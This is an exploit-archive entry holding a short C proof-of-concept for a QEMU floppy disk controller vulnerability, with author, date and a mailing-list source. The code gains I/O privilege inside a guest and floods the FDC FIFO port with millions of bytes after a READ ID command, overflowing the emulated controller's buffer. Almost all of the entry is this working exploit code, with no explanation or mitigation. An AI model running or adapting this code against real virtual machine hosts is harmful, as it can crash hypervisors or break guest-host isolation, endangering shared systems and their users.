QEMU - Floppy Disk Controller (FDC) PoC



EKU-ID: 4854 CVE: OSVDB-ID:
Author: Marcus Meissner Published: 2015-05-22 Verified: Verified
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// Source: https://marc.info/?l=oss-security&m=143155206320935&w=2
   
#include <sys/io.h>
   
#define FIFO 0x3f5
   
int main() {
        int i;
        iopl(3);
   
        outb(0x0a,0x3f5); /* READ ID */
        for (i=0;i<10000000;i++)
                outb(0x42,0x3f5); /* push */
}